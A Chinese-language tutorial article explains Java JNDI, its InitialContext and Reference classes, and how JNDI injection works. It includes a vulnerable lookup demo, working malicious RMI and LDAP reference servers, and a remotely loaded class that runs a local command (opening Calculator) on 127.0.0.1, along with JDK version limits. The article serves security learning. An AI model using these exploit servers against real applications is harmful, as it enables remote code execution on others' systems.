Java之JNDI注入的实现

 更新时间:2021年11月11日 09:21:46   作者:CoLoo  
JNDI是Java EE的重要部分,本文主要介绍了Java之JNDI注入的实现,文中通过示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下

About JNDI

0x01 简介

JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDIJava EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

0x02 JNDI的用途

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

0x03 日常使用

其实简单看简介会有点感觉JNDI类似于RMI中的Registry,将其中某一命名服务和相应对象进行绑定,当需要调用这个对象中的方法时,通过将指定的名称作为参数带入lookup去寻找相应对象。比如在开发中经常用到其去加载实现动态加载数据库配置文件,而不用频繁修改代码。

平常使用JNDI注入攻击时常用的就是RMI和LDAP。并且关于这两种协议的使用还有些限制,这也会在本文后面提到。

0x04 JNDI命名和目录服务

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

这个点用到的也比较多,下面会详细讲。

前置知识

主要是一些常用类和常见方法的小结,copy自nice_0e3师傅文章

InitialContext类

构造方法:

InitialContext() 
构建一个初始上下文。  
InitialContext(boolean lazy) 
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的环境构建初始上下文。 
InitialContext initialContext = new InitialContext();

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

常用方法:

bind(Name name, Object obj) 
	将名称绑定到对象。 
list(String name) 
	枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 
	检索命名对象。 
rebind(String name, Object obj) 
	将名称绑定到对象,覆盖任何现有绑定。 
unbind(String name) 
	取消绑定命名对象。 

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法:

Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

代码:

 String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:

void add(int posn, RefAddr addr) 
	将地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
	将地址添加到地址列表的末尾。  
void clear() 
	从此引用中删除所有地址。  
RefAddr get(int posn) 
	检索索引posn上的地址。  
RefAddr get(String addrType) 
	检索地址类型为“addrType”的第一个地址。  
Enumeration<RefAddr> getAll() 
	检索本参考文献中地址的列举。  
String getClassName() 
	检索引用引用的对象的类名。  
String getFactoryClassLocation() 
	检索此引用引用的对象的工厂位置。  
String getFactoryClassName() 
	检索此引用引用对象的工厂的类名。    
Object remove(int posn) 
	从地址列表中删除索引posn上的地址。  
int size() 
	检索此引用中的地址数。  
String toString() 
	生成此引用的字符串表示形式。  

JNDI Demo

下面看一段代码,是一段易受JNDI注入攻击的demo

主要是调用的lookup方法中url参数可控,那么可能会导致JNDI注入漏洞的产生。

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIDemo {
    
    public void Jndi(String url) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

JNDI+RMI攻击手法

限制条件:

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  • JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
  • JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

JNDIServer

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIServer {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://127.0.0.1:1099/ExportObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

JNDIExploitServer

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class JNDIExploitServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        //创建Registry
        Registry registry = LocateRegistry.createRegistry(1099);

        String url = "http://127.0.0.1:8080/";
        // 实例化一个Reference尝试为远程对象构造一个引用
        Reference reference = new Reference("ExploitObject", "ExploitObject", url);
        // 强转成ReferenceWrapper,因为Reference并没有继承Remote接口,不能直接注册到Registry中
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("ExportObject", referenceWrapper);
        System.out.println("Registry&Server Start ...");
        //打印别名
        System.out.println("Registry List: " + Arrays.toString(registry.list()));
    }
}

ExploitObject

public class ExploitObject {
    static {
        try {

            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("Calc Running ...");
    }
}

先启动恶意的JNDIExploitServer,然后运行JNDIServer,当调用initialContext.lookup(url)方法时,会通过rmi协议寻找ExportObject对应的对象referenceWrapper,而referenceWrapper为远程对象ExploitObject的引用,所以最终实例化的是ExploitObject从而触发静态代码块执行达到任意代码执行的目的。

在此期间遇到了几个坑点,记录一下:

  • JDK的限制,测试环境延用了RMI时的JDK7u17
  • 在编译ExploitObject类时使用的javac版本最好和idea中测试环境版本一致,可以通过cmdl指定jdk版本的javac去编译;且生成的class文件不要带有包名(例如:package com.zh1z3ven.jndi),指定版本javac编译命令:/Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh1z3ven/jndi/ExploitObject.java

JNDI+LDAP攻击手法

这里的限制是在8u191之前

copy一段LDAP的Server端代码

LdapServer

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};
        int port = 7777;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

JNDIServer2

public class JNDIServer2 {
    public static void main(String[] args) throws NamingException {
        String url = "ldap://127.0.0.1:7777/ExploitObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

ExploitObject

public class ExploitObject {
    static {
        try {

            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("Calc Running ...");
    }
}

Reference

如何绕过高版本 JDK 的限制进行 JNDI 注入利用:https://paper.seebug.org/942/

javasec

https://www.cnblogs.com/nice0e3/p/13958047.html

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://paper.seebug.org/1091/

https://security.tencent.com/index.php/blog/msg/131

https://paper.seebug.org/1207/

到此这篇关于Java之JNDI注入的实现的文章就介绍到这了,更多相关Java JNDI注入内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • 基于Java中对域和静态方法的访问不具有多态性(实例讲解)

    基于Java中对域和静态方法的访问不具有多态性(实例讲解)

    下面小编就为大家带来一篇基于Java中对域和静态方法的访问不具有多态性(实例讲解)。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2017-10-10
  • 使用jekins自动构建部署java maven项目的方法步骤

    使用jekins自动构建部署java maven项目的方法步骤

    这篇文章主要介绍了使用jekins自动构建部署java maven项目的方法步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-01-01
  • mybatis interceptor 处理查询参数及查询结果的实例代码

    mybatis interceptor 处理查询参数及查询结果的实例代码

    这篇文章主要介绍了mybatis interceptor 处理查询参数及查询结果,非常不错,具有参考借鉴价值,需要的朋友可以参考下
    2017-01-01
  • Android入门简单实例

    Android入门简单实例

    这篇文章主要介绍了Android入门简单实例,对于初学Android的朋友有一定的借鉴价值,需要的朋友可以参考下
    2014-08-08
  • SpringBoot3使用Jasypt加密数据库用户名、密码等敏感信息

    SpringBoot3使用Jasypt加密数据库用户名、密码等敏感信息

    使用Jasypt(Java Simplified Encryption)进行数据加密和解密主要涉及几个步骤,包括引入依赖、配置加密密码、加密敏感信息、将加密信息存储到配置文件中,以下是详细的使用说明,需要的朋友可以参考下
    2024-07-07
  • java 与web服务器链接的实例

    java 与web服务器链接的实例

    这篇文章主要介绍了java 与web服务器链接的实例的相关资料,使用net.Socket类sock.getInetAddress()方法获得与Web服务器连接,需要的朋友可以参考下
    2017-07-07
  • SpringBoot发送邮箱验证码功能

    SpringBoot发送邮箱验证码功能

    这篇文章主要介绍了SpringBoot发送邮箱验证码功能,非常不错,具有一定的参考借鉴价值,需要的朋友可以参考下
    2019-09-09
  • SpringBoot调用第三方WebService接口的两种方法

    SpringBoot调用第三方WebService接口的两种方法

    本文主要介绍了SpringBoot调用第三方WebService接口的两种方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-06-06
  • SpringMVC表单提交参数400错误解决方案

    SpringMVC表单提交参数400错误解决方案

    这篇文章主要介绍了SpringMVC表单提交参数400错误解决方案,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-10-10
  • Springboot异步事件配置和使用示例详解

    Springboot异步事件配置和使用示例详解

    Spring框架提供了一套事件处理机制,允许应用在各个组件之间传递状态信息,自定义事件通常继承自ApplicationEvent类,Springboot通过自动配置简化了异步处理的配置,实现开箱即用,Spring事件模型核心是观察者模式,适用于解耦和提高响应速度
    2024-10-10

最新评论